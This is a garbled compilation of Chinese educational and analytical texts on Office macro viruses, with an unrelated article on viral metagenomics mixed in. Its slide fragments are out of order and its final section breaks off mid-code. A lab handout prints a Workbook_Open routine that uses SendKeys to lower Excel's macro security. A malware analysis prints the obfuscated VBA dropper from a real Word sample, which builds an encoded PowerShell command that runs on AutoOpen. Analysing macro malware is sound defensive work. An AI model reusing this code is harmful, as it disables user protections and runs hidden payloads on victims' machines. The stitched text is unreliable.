第十讲 宏病毒分析
第8章-计算机宏病毒-网络10

3.宏病毒的表现
(1)有些宏病毒只进行自身的传播,并不具破 坏性。
(2)这些宏病毒只对用户进行骚扰,但不破坏 系统。
(3)有些宏病毒极具破坏性。
9
8.7.2 宏病毒的防治和清除
1、使用选项“提示保存Normal模板”
用户可以在“工具/选项”的“保存”中设置选项 “提示保存Normal模板”。其局限性是仅在退出 Word才做提示,在使用Word过程中,如果文档被 感染,用户一无所知。如果病毒将该项关闭,病毒 感染Normal模板,用户也会以为平安无事。
5
(4)鉴于宏是用Word Basic语言编写,Word Basic语言提供许多系统底层调用。如直接使用 DOS系统命令,调用WindowsAPI,调 用.DDE、.DLL等。这些操作均可能对系统造成直 接威胁,而Word在指令安全性、完整性上检测能 力很弱,破坏系统的指令很容易被执行。因此宏 病毒利用宏语言实现其传染和破坏功能。例如宏 病毒Nuclear在每年的4月5日,该病毒会将计算机 上的IO.SYS和MSDOS.SYS文件清零,并且删除 C盘根目录上的文件。一旦病毒 发作,MS DOS就不能被启动,计算机陷入瘫痪。
Sub MAIN
DisableAutoMacros End Sub
退出编辑状态并保存结果。
11
4、使用Word的宏安全等级设置
在“工具/选项/安全性”的“宏安全性”设置安全等 级。
5、查看宏代码并删除
在“工具/模板和加载项”中的“管理器”中查看宏, 并删除宏病毒代码。
12
完
13
4
(3)宏病毒主要寄生在AutoOpen、AutoClose 和AutoNew三个宏命令中,其引导、传染和破坏 均通过宏命令完成。
宏病毒原理及案例分析

宏病毒原理及案例分析屈立成4114005088什么是宏?所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。
Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。
Word使用宏语言Word_Basic将宏作为一系列指令来编写。
Word宏病毒是一些制作病毒的专业人员利用Microsoft Word的开放性即word中提供的Word BASIC编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过.DOC文档及.DOT 模板进行自我复制及传播。
宏可使任务自动化,如果在Word中重复进行某项工作,可用宏使其自动执行。
宏是将一系列的Word命令和指令结合在一起,形成一个命令,以实现任务执行的自动化。
用户可创建并执行一个宏,以替代人工进行一系列费时而重复的Word操作。
事实上,它是一个自定义命令,用来完成所需任务。
宏的一些典型应用如:加速日常编辑和格式设置、组合多个命令、使对话框中的选项更易于访问、使一系列复杂的任务自动执行等。
Word 提供了两种创建宏的方法:宏录制器和Visual Basic 编辑器。
宏录制器可帮助用户开始创建宏。
Word 在VBA 编程语言中把宏录制为一系列的Word 命令。
可在Visual Basic 编辑器中打开已录制的宏,修改其中的指令。
也可用Visual Basic 编辑器创建包括Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。
VBAVisual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化任务的编程语言。
主要能用来扩展Windows的应用程式功能,特别是Microsoft Office软件。
也可说是一种应用程式视觉化的Basic 脚本。
宏病毒分析实验(新)

---------------------------------------------------------------最新资料推荐------------------------------------------------------宏病毒分析实验(新)宏病毒分析实验一、实验目的及要求:通过本实验的学习,大家应该理解宏病毒的概念、病毒机制、编写方法、传播手段以及预防处理措施。
二、实验基本原理:宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。
宏病毒的前缀是:Macro,第二前缀是:Word、 Word97、 Excel、 Excel97(也许还有别的)其中之一。
凡是只感染 WORD97 及以前版本 WORD 文档的病毒采用 Word97 做为第二前缀,格式是:Macro. Word97;凡是只感染 WORD97 以后版本 WORD 文档的病毒采用 Word 做为第二前缀,格式是:Macro. Word;凡是只感染 EXCEL97 及以前版本 EXCEL 文档的病毒采用 Excel97 做为第二前缀,格式是:Macro. Excel97;凡是只感染 EXCEL97 以后版本 EXCEL 文档的病毒采用 Excel做为第二前缀,格式是:Macro. Excel,依此类推。
该类病毒的公有特性是能感染 OFFICE系列文档,然后通过OFFICE 通用模板进行传播,如:1 / 5著名的美丽莎(Macro. Melissa) 。
一个宏的运行, 特别是有恶意的宏程序的运行, 受宏的安全性的影响是最大的, 如果宏的安全性为高, 那么, 没有签署的宏就不能运行了, 甚至, 还能使部分 Excel 的功能失效.所以, 宏病毒在感染 Excel 之前, 会自行对 Excel 的宏的安全性进行修改,把宏的安全性设为低. Application. SendKeys%TMSs%L{RETURN} 仅修改这个还不行, 很多宏会涉及到 VisualBasic, 所以, 宏的安全性还要信任对于VisualBasic 项目的访问, 所以, 综合安全级别的修改, 就为 Application. SendKeys%TMSs%LT%v{RETURN} 如何判断信任还是不信任对于VisualBasic 项目的访问, 可以用出错捕获进行修改: OnErrorGoToEnd_Sub ‘ 其它功能的程序段ExitSub End_Sub: Application. SendKeys%TMSs%LT%v{RETURN} 本段程序的功能为: 一旦宏无法正常就进行宏的安全性的修改和对信任对于VisualBasic 项目的访问的修改, 从而这宏病毒的正常运行提供系统支持. 本程序应放在 VBA 中的 ThisWorkbook PrivateSubWorkbook_Open() EndSub 这样一旦打开工作薄就会对其进行有效的修改. 完整的程序为: PrivateSubWorkbook_Open() OnErrorGoToEnd_Sub ‘ 其它功能的程序段 ExitSub End_Sub: Application. SendKeys%TMSs%LT%v{RETURN} EndSub 三、主要仪器设备及实验耗材:PC 电脑一台四、实验内容或步骤:---------------------------------------------------------------最新资料推荐------------------------------------------------------ 1.启动 Word,创建一个新文档。
病毒与宏病毒全面解读

病毒与宏病毒全面解读美格基因姜敬哲病毒知多少?提起病毒,人们想到的通常是SARS、埃博拉、艾滋、流感等这些令人不愉快的词汇。
事实上,病毒不仅仅影响人的健康,它们还有更重要的使命:推动自然物种的更替与演化,驱动生物地球化学的循环(Suttle等,2005)。
世上丰度最高的类群病毒是我们这个星球上丰度最高的生命体。
它们存在于世界的任意角落:从体型硕大的蓝鲸、非洲象,到肉眼无法分辨的寄生虫、细菌、衣原体等,但凡是“活”的东西,都有专门负责“办”它的病毒。
图1 常见感染人体的病毒形状和大小科学研究中的暗物质据推测,地球上的病毒种类多达8700万种,其中可能感染人类的病毒就有73万种,但目前比较确认的已知病毒却只有约5000种,已知的人类病毒仅有263种(Geoghegan 等,2017;Carroll 等,2018)。
由此可见,病毒是生命科学研究中实打实的“暗物质”。
图2 目前地球上已知和未知的病毒物种数量宏病毒组病毒和细菌不同,不同病毒基因组的差异非常大,根本没有16S rDNA这种进化保守的基因,所以无法做扩增子(Amplicon)。
2002 年,Forest Rowher课题组基于宏基因组(Metagenome)研究思路,对海水中的病毒进行了富集,高通量测序后发现大量的未知病毒(Breitbart等,2002)。
自此,宏病毒组(Virome)概念应运而生(即,组成一个特定生态系统或共生系统中所有病毒的集合)。
2018 年,由包括我国高福院士在内的多位世界级病毒专家在Science杂志上联合刊文,提出“全球病毒组计划”(GVP)(Carroll等,2018),将宏病毒组研究推到了一个全新的高度。
CNS中的常客近几年,科学家运用宏病毒组学技术对多种环境、动物、微生物、以及人类各种来源的样品进行了不少的研究,产生很多突破性成果,见刊CNS已成为常态。
代表作如,美国能源部的联合基因组研究所(JGI)针对全球3042份各种来源的样品进行的病毒组分析,共获得超过125 000个DNA病毒的基因组序列,将已知病毒基因集扩大16倍(Paez-Espino等,2016)。
宏病毒深入分析

宏病毒的深入分析OFFICE给用户提供了用于创建专业而优雅的文档,表格等工具,帮助用户节省时间,并得到优雅美观的结果,在当前使用中是占有巨大优势的文字,数据处理器。
它为我们的办公提供了极大的便利.OFFICE为了方便客户,提供了宏这样一个功能。
宏就是能组织到一起作为一独立的命令使用的一系列命令,它能使日常工作变得更容易,一般说来,宏是一种规则或模式,或称语法替换,用于说明某一特定输入(通常是字符串)如何根据预定义的规则转换成对应的输出(通常也是字符串)。
这种替换在预编译时进行,称作宏展开。
通俗的来说,客户事先设置好宏,需要时就可以批量使用,而不必重复操作。
然而宏也是一把双刃剑,它在让客户享受便利的同时,同时也为黑客留下了漏洞,这就是今天要分析的宏病毒。
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。
从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
word宏病毒通过.DOC文档及.DOT模板进行自我复制及传播,而计算机文档是交流最广的文件类型。
多年来,人们大多重视保护自己计算机的引导部分和可执行文件不被病毒感染,而对外来的文档文件基本是直接浏览使用,这给Word 宏病毒传播带来很多便利。
特别是Intemet网络的普及.Email的大量应用更为Word 宏病毒传播铺平道路。
根据国外保守的统计,宏病毒的感染率高达40%以上,即在现实生活中每发现100个病毒,其中就40多个宏病毒,而目前国际上普通病毒种类已达12000多种。
宏病毒的产生,是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。
这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘,病毒可以把特定的宏命令代码附加在指定文件上,通过文件的打开或关闭来获取控制权,实现宏命令在不同文件之间的共享和传递,从而在未经使用者许可的情况下获取控制权,达到传染目的。
宏病毒的探究及防治

宏病毒的探究及防治【摘要】宏病毒是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏作为办公软件的一个创新功能,可把操作程序简化,但同时也提高了宏病毒的传播与感染率。
本文从宏病毒的概念出发,介绍了宏病毒的类型、运行机制、防治方法,以此来帮助用户在遭遇宏病毒攻击时做出正确的应对措施,保护计算机中数据的安全。
【关键词】计算机病毒;宏病毒;Office 软件计算机及网络技术的飞速发展就像把双刃剑,在便捷人们生活的同时,也为宏病毒的蔓延与传播提供了方便,虽然人们都研制出各具特色的方法来抵御宏病毒,但宏病毒具有多样性,新的病毒被消灭,就会有其他宏病毒浮出水面,这对人们抵御宏病毒工作带来了诸多麻烦。
一、宏病毒的概念所谓“宏”就是在使用软件工作时,为了避免相同的操作,用简单的语法而设计出来的一种工具,在办公软件中宏可使用一系列命令。
宏语言是用于在特定应用程序中自动执行特定序列的命令措辞,宏通过自动完成特定方法来简化复杂的过程并使其更适合。
什么叫“宏病毒”,就是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏病毒可以存在于Word、Excel、Database、PowerPoint 等数据文件中,可在一些处理数据的系统中运行,利用宏程序特殊的功能,将自己复制到其他数据处理文件中。
宏作为办公软件中一个创意性的新功能,利用宏可以帮助用户简化操作,但同时也为宏病毒的传播和感染提供了便利,但他们也产生能够处理和产生office文件的宏病毒,这使Microsoft Word 和 Microsoft Excel成为宏病毒的首要攻击对象,宏病毒可以影响 PC 和 Mac。
如图所示。
二、宏病毒的类型1.Concept病毒Concept病毒是最“有名”的宏病毒。
它于1995年首次出现,专门用于感染Microsoft Word 文档。
这也是第一次病毒通过将自身附加到文档而不是应用程序进行传播。
【宏病毒】Word宏病毒简单分析

【宏病毒】Word宏病毒简单分析前⾔最近对Office系列宏病毒⽐较感兴趣,⽹上找了⼀个Word样本练练⼿,宏病毒常⽤套路⼀般都是利⽤PowerShell从服务器上下载PE⽂件执⾏,或者数据流中内嵌PE⽂件借助RTF释放执⾏。
所以分析宏病毒⼀般都⽐较简单,查看VBA代码基本就能知道病毒执⾏的内容,但是如果代码中的函数、变量、字符串等都经过混淆,分析起来难度就会提⾼。
详细分析诱导⽤户启⽤宏代码如果启⽤内容,宏代码就会执⾏,我们先看下⽂档中的数据流。
从"DMSojZquJ"和"wAwJBjJQJ"数据流中DUMP下宏代码,代码经过严重混淆,我们从“AutoOpen”⼦程序开始分析。
1'Attribute VB_Name = "wAwJBjJQJ"2Function RTUHFOzsK()3 SSIhYOGKB = BBqMNPjSw4 bkspY = Mid("zYsMfzXjUkZcWdEGwAVSztCl", 12, 1)5 pGHmjw = bkspY6 THZbsWKtF = GApwOicZH7 VEbORpJELT = Mid("w ULjXwAKAb", 2, 2)8 siCAq = VEbORpJELT9 HPhRfOHnm = TOvllapZt10 jpucp = Mid("dwOtbdJnhnCwfmAwZ qUwQ", 18, 2)11 aLAikTZzXH = jpucp12 fqalXfJAK = LCnHkoIcD13 VuuwVO = Mid("sXFWPUriJfKTpqQrVtOvwpYvPcmRpGfQk", 26, 2)14 FItfpaapu = VuuwVO15 OBbLUEjqi = KUOOIoowi16 FVvtMEG = Mid("HdAFDcAsATviDfWzFFzpaz pXJcWfwf", 23, 2)17 ajJRwS = FVvtMEG18 jVrCIfDvl = zLiGcJXbX19 ZrAYDPTq = Mid("iHOvIROFpzkqDsbh OWUdhlpCiwZMTtrODJzmwsH", 17, 2)20 jiAGQiQw = ZrAYDPTq21 SUWWCjAwf = vzuwToFbG22 jmtkTTkrF = Mid("wYuqqVtGZiJmAXAhOSuPBlkv ZpEnSjLlFJZnGcc", 24, 2)23 GcmZjTwn = jmtkTTkrF24 LMtwHYSki = ADrFrhRWc25 NEiTwbDXjd = Mid("ffAMXNhHaz tNilfGXhcTPPsBKcvGidzFR", 11, 2)26 RjvFUJZEqEH = NEiTwbDXjd27 LKTKBJzHw = rAsqBBCLO28 riLqL = Mid("VYSzUNAfirLhNHuvTkkpqTYI NBTb", 25, 1)29 wjCNaFw = riLqL30 iVMwDRCAv = nqFMhzLtQ31 hCfFzWOivq = Mid("HRJzsdTznHRYYLErvnJSVjftUhUujlLVzZfA", 6, 1)32 NBOCDBCM = hCfFzWOivq33 nAKjzzabj = lKCqCjSmA34 bGAdVi = Mid("RMiPstNpOmmrqQf/wzkf", 16, 1)35 uFHPYHoifcS = bGAdVi36 PNGBIBOLR = tiTviHlPK37 BzbiCjnQqm = Mid("AikEQJtLfHomiYXDjK /fbjKtsWuJLaJzImkOi", 19, 2)38 IjUTlUqWHO = BzbiCjnQqm39 EuXMYbiQq = tznZtuwvj40 rZKmALU = Mid("ijpGMkvqVjf zj", 12, 2)41 uGUWvBHvsD = rZKmALU42 RTUHFOzsK = FItfpaapu + NBOCDBCM + IjUTlUqWHO + GcmZjTwn + uFHPYHoifcS + pGHmjw + jiAGQiQw + RjvFUJZEqEH + siCAq + uGUWvBHvsD + ajJRwS + aLAikTZzXH + wjCNaFw43End Function44Sub AutoOpen()45 KlsJVlijz46End Sub1'Attribute VB_Name = "DMSojZquJ"2Function KlsJVlijz()3 KRwZOZiSb = jMiOqzLkc4 TzurouRwtt = Mid("juDEAMQA2AGIANQA5LfDuHPHXHoVdEQfRC", 3, 15)5 iKnPNTjHYUN = TzurouRwtt6 TsfRjzdCc = wGUKHjjwm7 SAIGYDAjD = Mid("Ur8BJGqnnB5Yulset %cDpiTrLVN%=wers&&set %SuZmiriSa%=JwsADfCTs&&set %KlsJVlijz%=po&&set %qfSAwAXEM%=MrqzTiJDT&&set %PqjuFnVOr%=hell&&set %SqYwAARBW%=VcQFWjpkv&&!%KlsJVlijz%!8 iBSRmkhEj = SAIGYDAjD9 XtczUhZho = sGlQtlEVs10 HdFRsCmu = Mid("zQDZhA3kAOQB7ADEAMQA2AGIAMQAwADUAYgAxADEAMQA6ADEAMQAwAFkANAA2AH4AMQAwADAMuwW3nHiNYrXXhKvuQhjarIPjtM", 8, 65)11 JZJjMfIbBG = HdFRsCmu12 PthzvLzhL = GZEufrNor13 aJFENXB = Mid("2iwApzVhvrZAEkAMQAxADEAegA0ADYAbQAxADEAMAAmADEAMAA4AH4ANAA3AHsAMQAxADYAYgA2ADYAJgAxADAAMgB+ADQANwBZADMAOQB+ADQANgB6ADgAMwBiADEAMQAyAH4AMQAwADgAWQAxAD14 TjXFztBK = aJFENXB15 zUYzrCIlv = qfMjGmrTF16 bEHOc = Mid("LnMwj8vivvwTnBW06hAzADIASQAxADEAMABZADEAMAAxACEAMQAxADkAJgA0ADUAJgAxADEAMQB6ADkAHc", 19, 62)17 AcOZjKGHd = bEHOc18 EYzRCmWTI = kzbtDFuEB19 KtWFTJiUI = Mid("flGAbQ8jdVC6Iw5wGU3kFwCpYhBY7ADkAOAA6ADEAMAA2AG0AMQAwADXlAW41AL0oV", 29, 27)20 RkSMsXZmbbj = KtWFTJiUI21 TSBfqKPHC = wXTSDLmIQ22 iBobiw = Mid("QSw3OIaCMAwAHsAMQAxADAAOgAxADAAMQAmADEAMQA2AGIANAA2ACEAMQAwADAAOgAxADAAMQBiADQANwAmADEAMQA0AEkANAA3AH4ANAA0AHoAMQAwADQAbQAxADEANgBZADEAMQA2ACYAMQAxA23 mvotcU = iBobiw24 uiSlbYuXn = TwcHoBkXB25 iaBTlajaUKt = Mid("znY7zKn7hBOVIFz6X%cDpiTrLVN%!!%PqjuFnVOr%! -e LgAgACgAKAB2AEEAUgBpAEEAYgBMAGUAIAAnACoAbQBEAFIAKgAnACkALgBuAGEAbQBFAFsAMwAsADEAMQAsADIAXQAtAEoATwBJAG4AJwAnACkA26 XvLAfRK = iaBTlajaUKt27 EZhmBvkXw = pStPHvpAV28 wLTmWqsTK = Mid("FfAHsAMQAwADUAYgAxADEANQBZADEAMQA2AH4AMQAxADQAbQTLWzcjuipSiEo", 3, 46)29 orwEYmMBR = wLTmWqsTK30 jhqckTXvK = ZriRhfKhi31 wdpalVvA = Mid("I6iEVXN1GLwpHCz8Ijwm06KbVIuAJgAxADAAMQBJADQANwAhADcAOAB7ADgAOQAhADEAMAA3AEkAOAAzAG0AMQAwADIAJgA0ADcAegA0ADQAJgAxADAANAB6ADEAMQA2AH4AMQAxADYAIQAxADEAMgB7AD32 nGmuz = wdpalVvA33 iHhXBDcFF = tDohRofBp34 IWIok = Mid("RjADIAJgA0ADMAbQAzADIAYgNG9GurhlHcLP2Co6oWzLFSwmkhv4ldioX", 3, 22)35 TBNjdzzzh = IWIok36 KbpOPFkKj = NXkOFaMGs37 AsoLI = Mid("fSiIEDACYAMwA2AG0AMQAxADQAbQA5ADcAegAxADEAMABiADEAMAAwACYAMQAxADEAegAxADAAOQAhADMAMgBJADYhjj3jjAuppqRGqKrh1T", 7, 82)38 FRdXUFElRa = AsoLI39 oLjmAfOds = VsZuljqAF40 ISYEi = Mid("BVjP8jiqhGziNiDAAOQBiADQANwBJADgAMwBiADEAMAA3ACYANgA1ADoAOAA1AFkANAA3AFkANAA0ACYAMQAwADQAegAxADEANgBiADEAMQA2ACYAMQAxADIAewA1ADgAJgA0ADcAegA0ADcAOgAxADAAOQBtA41 fizsQ = ISYEi42 tUscmqXOh = UfwOUKvrp43 mnbclQddw = Mid("iPPaU89tkLifQBor34HASQB+AHoAJwAgACkAIAB8ACAAJQB7ACgAIABbAEkAbgB0AF0AJABfAC0AYQBTACAAWwBDAEgAYQByAF0AKQdQsE", 20, 83)44 cslql = mnbclQddw45 JXbJzlNOS = GTmEXEUTm46 GbEiUOiVXw = Mid("ziITYGiIamHpoZHgB+ADgAMwB7ADEAM1t26K9TjQqMzHzEYiu", 16, 16)47 YhuVfBw = GbEiUOiVXw48 AMYpPlzuw = tHXOwuqjd49 nwTYnBKp = Mid("I3DEAMAAx6EkAh4h7va", 3, 7)50 zwsMjwQJTv = nwTYnBKp51 djUGOYYRv = vPHtuBYvi52 WrfmRXK = Mid("Jmcs93jA5rYAMQBJADMAMgB6ADEAMQAwACYAMQAwADEAIQAxADEAOQAmADQANQAmADEAMQAxAH4AOQA4AFkAMQAwADYAYgAxADAAMQAhADkAOQBtADEAMQA2AHoAMwAyAEkAMQAxADQAegA5ADc53 awBiLS = WrfmRXK54 QTIqMFnTG = urVrNrbqk55 fwizQHrrKMl = Mid("7ZNCDjkd16F3vJwZADEAMAAxAG0AMQAwADkAYgA0ADYASQA3ADgAWQAxADAAMQA6ADEAMQA2AGIANAA2AGIAOAA3AH4AMQAwADEASQA5ADgAbQA2ADcAYgAxADAAOABJADEAMAA1ADoAMQAwADE56 kzLPNEjwRpi = fwizQHrrKMl57 StzAQwpCi = qzNWqCPaM58 HYhqTVjz = Mid("NlUNOMQB7ADQANwAhADEAMQA4AHsAOAA3AG0AMQAwADMAOgA0ADcAbQA0ADQAJgAxADAANAAhADEAMQA2AG0AMQAxADYAewAxADEAMgBiADUAOAAhADQANwBiADQANwAmADkANwB6ADEAMAAwAF59 OXrPUEbnvR = HYhqTVjz60 UnXOTvRiZ = ZDBQRDQGC61 aOmzViYRI = Mid("q4zoiVLRd4XVFkAFkAOQA5ACEAOQA3AHoAMQAxADYAfgA5ADkAfgAxADAANABiADEAMgAzACEAMQAxADkAfgAxADEAI71o4", 15, 76)62 KIwkY = aOmzViYRI63 jQCKAJbwT = tXBTbniGD64 mTTdkG = Mid("09MYoVDXOQBiADEAMgAxAH4AOQA4AFkAMQAxADcAewAxADIAMQB+ADEAMAA1AG0AMQAxADAAegAxADAAMwBJADkANwB6ADEAMAAzAHoAMQAwADEAOgAxADEAMAA6ADEAMQA2ACYANAA2AG0AOQA565 CPOtaunKXFw = mTTdkG66 MDaCimYPz = cahKFjzjJ67 jENmKtocosG = Mid("Om2EAOgA5ADkAbQAxADEANgBiADMAMgBiADQANQAhADYANwBJADEAMQAxACYAMQAwADkAbQA3ADkAOgA5ADgAfgAxADAANgBiADEAMAAxAFkAOQA5AEkAMQAxADYAbQAzADIAfgA4ADcAYgA4ADMA68 IAFUul = jENmKtocosG69 KKmNnWbYG = XGbNmLAEC70 wwuaTvRloii = Mid("rizBpdohTDQANwBiADQANwAmADEAMAAxAFkAMQAwADAAYgAxADEAMQB7ADEAMQqMh4QsW0tSwB7NpOpYfO", 10, 53)71 muHlMzvW = wwuaTvRloii72 cihQlkKwW = mjSSTsdUv73 NkhKkqUcZzS = Mid("3sTuj9MB568wAFkANgA4AHoAMQAxADEASQAxADEAOQAhADEAMQAwACEAMQAwADgAWQAxADEAMQA6ADkANwBiADEAMAAwAFkANwAwACYAMQAwADUAOgAxADAAOAAhADEAMAAxAEkANAAwAG0A74 wJLOSQhR = NkhKkqUcZzS75 QzQDbKjBI = XPoWJBjXF76 fYzIS = Mid("t8Qv5AEmsBzcKQuRLtPfWP2haoJiOWTEJKWZADUAYgAxADEAMABZADMAMgAmADMANgA6ADEAMQA3AH4AMQAxADQAfgAxADAAOAB7ADEAMQA1ACYANAAxAFkAMQAyADMAYgAxADEANgBJADEAMQA0AH4AM77 bbvLjLAvSJ = fYzIS78 ctZCDozpo = oFnijRPjE79 ZXRkXlUKciC = Mid("K3jBHqR0qD19138PwR5IMndSACWcuccASQAxADAAMwB+ADEAMAAxAHoAMQAxADAAfgAxADEANgAmADEAMQA1AEkAMQAwADUAOgAxADEAMABJADkANwBtADzEX", 31, 88)80 LPwcEG = ZXRkXlUKciC81 mYCWkjbmj = iPZQlvnBa82 CaTTBtvHd = Mid("fNzJ623CmpME4BTWDGQSANQAzAHsANQAzAFkANQAxAUXUX", 21, 22)83 fcjRIRH = CaTTBtvHd84 WOvbEmVrw = VofWHZwuw85 JozUMVXQNC = Mid("IUU0INAxAH4AMQAxADUASQAxADEANQA6ADMAMgAmADMANgAmADEAMQAyAGIAOQA3AHsAMQAxADYASQAxADAANAB+ADUAOQAhADkAOAB7ADEAMQA0AGIAMQAwADEAOgA5ADcAWQAxADAANwB86 fhXwGUGo = JozUMVXQNC87 CFJqaQFQZ = PYTsvirtV88 dnCicIqnDi = Mid("0GrwGzcA1BiqDQ2HsANAAwAHsAMwA5AH4ANAA0AG0AMwA5AEkANAAxACEANQA5AG0AMwA2ACEAMQAxADAAjNwtq8wXSXLbhwY25YY", 16, 67)89 HczVFWDHVzj = dnCicIqnDi90 JKUQBsnGw = DMHzTrwkw91 ckRwBHp = Mid("66II1QkGmQO0bkrwXG7UDHLdjDEAMAAmADkANwB6ADEAMAA5ADoAMQAwADEAegAzMiwv58sW2z8", 26, 39)92 lbjqdjR = ckRwBHp93 QjnfWnMGT = cctziOEnj94 nRJpoij = Mid("JwuGuPV1D5MOLRcplDEAMQAwAGIANAA2AGIAMQAwADAAYgAxADAAFm3RsjWO", 18, 35)95 SPEOqDL = nRJpoij96 imEQCTSBE = SPEcvKlaM97 zGITmmFi = Mid("nXkCVcOVDCIGIANQA0ACEANAAxAHsANQA5AFkAMwA2AG0AMQAxADIAOgA5ADcAewAxADEANgBJADEAMAA0AHoAMwAyAEkANgAxAG0AMwAyAHoAMwA2AFkAMQAwADEAWQAxADEAMAB6ADEAMQA4AFk98 rBTCHaK = zGITmmFi99 hdnhDuYKd = FGitvjHSw100 tkqnlH = Mid("wdHfrVfjbwADcAOgAxADEANwB7ADEAMQA1ACYANAA1AHoAMQAwADIAYgAxADAAOAB6ADEAMAAxAH4AMQAwADUAWQAxADEANQBZADkAOQAhADEAMAA0AH4AMQAwADkAYgA5ADcAYgAxADEAMAB6A11BH3 101 ScIOzQwUMHj = tkqnlH102 szdUNVjur = PzhiLEBWJ103 wzamU = Mid("whNAB6ADEAMAA4AGIANAA2AG0AOAA0AGIAMQAxADEAfgA4ADMAegAxADEANgBiADEAMQA0AG0AMQAwADUAbQAxADEAMAA6ADEAMAAzACEANAAwAG0ANAAxAHoANAA0AHoAMwAyACEAMwA2AG0A4vOqB 104 MthJuYP = wzamU105 vziJsrqMu = WYTXVcMta106 cqwMU = Mid("QjnkEoQif0vzwRUpzj9DcrA5AH4AMQAxADQAWQAxADAANQB+ADEAMQAyACEAMQAxADYAOgAzADIAWQA2ADEAbQAzADIAWQAxADEAMAAhADEAMAAxADoAMQAxADkAYgA0ADUAIQAxADEAMQBU0ntYjnSDmq 107 EbUQjFzQMji = cqwMU108 jNQSzJDJL = wWvdrZWLV109 OfVqJ = Mid("TiRt3HNPcKQFXzYzD5zBEbGwegA5ADcAIQAxADAAOQA6ADEAMAAxACYAMwAyAH4ANgAxAFkAMwAyAH4AMwA2AH4AYQhknD2", 25, 64)110 hpdwFmXNaN = OfVqJ111 PiHliAaNV = XriEVRdSI112 IwiDSbtjXNM = Mid("HqijWfnLLYUcpowUZTMNFWFwA2ADEAbQX2fLZc1w1PPk7JVF", 24, 9)113 LJIEujI = IwiDSbtjXNM114 sdzZGijtp = zshuBJHwL115 XNpKBSQp = Mid("kf6rX0J0wo7sLii6ADEAMQAxAH4AMQAxADAAJgA0ADYAWQA3ADcAYgAxADAAMQB7ADEAMQA1AFkAMQAxADUAegJ2BQk9m", 16, 71)116 LPjrKRijIw = XNpKBSQp117 SzjQrknfR = jrBdAZQdi118 jwrGYdkzCNC = Mid("AtDEANABZADEAMAA1ADoAMQAxADIAIQAxADEANgAmADQAN6f6zpUDiWd", 3, 44)119 EzTYX = jwrGYdkzCNC120 WqbZFkKbV = ncqVzZGKU121 CmzXsmGKojc = Mid("rTCDYRjjiCNAA6ADEAMAA1AH4AMQAxADYASQAxADAAMQB6ADQANQA6ADEAMAA0AGIAMQAxADEAIQAxADEANQBJADEAMQA2AEkAMwAyADoAMwA2AFkAOQA1ACYANAA2AEkANgA5ACYAMQAyADA 122 QYpwllzTSck = CmzXsmGKojc123 ZclPlaQAC = oWrIiXalF124 mAwtjzQ = Mid("dkAOgAxADAAOAA6ADEAMAA1ACEAMQAwADEAOgAxADEAMABZADEAMQA2AFkANAA2uJOYi2zO48HmdXNomG2zwpfcShY3M2zJnYLB", 2, 62)125 ZbAAifkPrvN = mAwtjzQ126 jtszGQPAD = bKtbWpErB127 oWJLO = Mid("i3TbIXnBQGAxADIAMwBZADMANgB+ADEAMQA5ACYAMQAwADEAegA5ADgAegA5ADjWE", 11, 52)128 DGLkaA = oWJLO129 zHFAIEhVF = dfwTvMTXR130 EKYFiRhEXFw = Mid("KnNUzlTmADEAMAAwADoAMQAxADEAJgAxADAAOQA6ADQANgB7ADEAMQAwADoAMQAwADEAegAxADIAMABJADEAMQA2AH4ANAAwAG0ANAA5AFkANAA0AFkAMwAyACYANQA0AG00PriiWvtTcTzBJm2 131 zSGEI = EKYFiRhEXFw132 cZWVzlXoq = JMzCDmWdd133 SFdjwWp = Mid("zPHvKMQAxADIASQA5ADcAWQAxADEANgBiADEAMAA0ACEANAAxACEANQA5AHoAOAAzADoAMQAxADYASQA5ADcASQAxADEANAA6ADEAMQA2AHoANAA1AGIAOAAwAFkAMQAxADQAYgAxADEAMQAhADk 134 OkBajT = SFdjwWp135 ziknRkKlU = EIPhIwXbR136 DcABZPAtp = Mid("Ph4HGzYkfOCGqZiwdDGa3TvRI46jLtBiSAzADkAIQA0ADYAIQAxADAAMQA6ADEAMgAwAHsAMQAwADEAJgAzADkAfgA1ADkAfgAxADAAMgA6ADEAMQAxACEAMQAxADQAegAxADAAMQAmADkANwB+ADkAOQ 137 CWMpLVkSS = DcABZPAtp138 ibHUdTOYI = FabLwRiUp139 cBUrWQJBDX = Mid("XmOJgAxADAAOAA6ADEAMQA1AGIzN3QzjhpYQj5G3IKoCPMI", 4, 23)140 lcPiAkbq = cBUrWQJBDX141 hpIlKOQSj = bbEBfbVrB142 MvpXHXC = Mid("z5nzXvB8SLdaMXOJ2AMwAyAEkANgAxACYAMwAyAGIAMwA5ACYAMQAwADQAWQAxADEANgB+ADEAMQA2AEkAMQAxADIAJgA1ADgAYgA0ADcAJgA0ADcAbQA5ADSC", 18, 103)143 HnZjzd = MvpXHXC144 WiEQYtbFL = stLzwnJqm145 vajVOP = Mid("RGKthsDsJzwtA5ADcAYgAxADAAMwBJADEAMAAxAHsANQA5AFkAMQAyADUAfgAxADIANQAnAC4AcwBQAEwAaQBUACgAIAAnAFkAJgB7AG0AOgBiACE8UDpdPzMzSYXt3P57", 13, 101)146 GzjkYUBnqXG = vajVOP147 JtQsEKnnw = DEvzqFPLp148 kEROiFMIq = Mid("j4Ja9dOW453qN2YADEAMAA5AEkZA0c3hwNX3JwzjtcQXbvF6aP", 16, 11)149 icAYwsLVpUA = kEROiFMIq150 kQQOJFDXZ = UddQropLw151 irUIcwRD = Mid("Au1EHs6ti0AmADUAOQB6ADMANgAmADEAMQA3AHsAMQAxADQA7Wj9C5z0PqNsb2IoN9LTqN", 11, 38)152 bapZdDJB = 